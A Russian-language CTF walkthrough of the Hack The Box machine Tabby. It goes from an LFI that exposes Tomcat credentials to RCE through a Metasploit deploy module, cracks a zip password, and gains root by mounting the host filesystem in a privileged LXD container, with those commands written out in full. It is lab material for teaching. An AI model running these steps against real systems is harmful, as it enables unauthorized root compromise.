Hack The Box. Прохождение Tabby. RCE в Tomcat, и повышаем привилегии через LXD

Информационная безопасностьCTF
Tutorial

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье получим RCE в Tomcat, ломаем zip архив и повышаем привилегии с помощью LXD.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.194, который я добавляю в /etc/hosts.

10.10.10.194 	tabby.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1



Выбор небольшой, давайте начнем с 80 порта, где нас встречает следующий сайт.



Осматриваясь на сайте, отмечаем для себя интересные способ показа новостей (с намеком на LFI).



А также добавляем еще одну запись в /etc/hosts.

10.10.10.194    megahosting.htb

Давайте проверим наличие LFI, я для этого использую LFISuite.







И мы находим LFI. Так как большего мы не получаем, перейдем на порт 8080. Там нас встречает страница, из которой мы узнаем, что используется Tomcat.



Обращаем внимание на интересный файл. Переходя по другой ссылке, на встречает окошко HTTP аутентификации. Давайте прочитаем данный файл /usr/share/tomcat9/etc/tomcat-users.xml.



И есть учетные данные, с которыми мы можем авторизоваться. Отсюда мы можем получить RCE с помощью модуля tomcat_mgr_deploy.



Зададим необходимые параметры.



И получаем ошибку пути файла.

Entry Point


Немного побродив, натыкаемся на справку, в которой указана директория text.





Давайте укажем данный путь.



И мы получаем сессию meterpreter. Чтобы быстренько провести разведку, закинем на хост скрипт LinPEAS и выполним.



Внимательно анализируя вывод, находим интересный файл.



USER


Скачиваем его и пробуем открыть. Но у нас спрашивают пароль.





Давайте попробуем его перебрать.

fcrackzip -D -p ../tools/rockyou.txt 16162020_backup.zip



И находим вероятный пароль. В самом архиве ничего интересного нет, но зато это пароль от пользователя, созданного в системе.



Для удобного подключения создадим SSH ключ.



ROOT


Подключимся по SSH с помощью приватного ключа и видим, что пользователь состоит в группе lxd.



LXD — это системный менеджер контейнеров. Он предлагает пользовательский интерфейс, похожий на виртуальные машины, но использующий вместо этого контейнеры Linux.

Ядро LXD — это привилегированный демон, который предоставляет REST API через локальный unix сокет, а также через сеть, если установлена соответствующая конфигурация. Клиенты, такие как инструмент командной строки поставляемый с LXD посылают запросы через этот REST API. Это означает, что независимо от того, обращаетесь ли вы к локальному хосту или к удаленному, все работает одинаково.

Но мы можем через него выполнить команды, то есть от имени root. Для этого нам будет нужно следующее программное обеспечение, скачиваем и собираем исходники.Загрузим полученный образ на удаленный хост. И после подготовительной части импортируем наш lxd-совместимый файл образа.

lxc image import ./alpine-v3.12-x86_64-20200810_0015.tar.gz --alias ralf



Нам сообщают, что предварительно его нужно было инициализировать, но это можено сделать и позже. Убедимся, что образ загружен.

lxc image list



А теперь инициализируем.



Давайте создадим контейнер, указав образ и имя.

lxc init ralf ignite -c security.privileged=true

И зададим конфигурации, где диск будет примонтирован как /mnt/root.

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

Запускаем и выполняем.

lxc start ignite
lxc exec ignite /bin/sh



И у нас есть root права.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Теги:pentestpentestingralf_rtинформационная безопасностьctfhtbred teamred teaming
Хабы: Информационная безопасность CTF
+10
2,1k 20
Комментарии 5

Похожие публикации

Лучшие публикации за сутки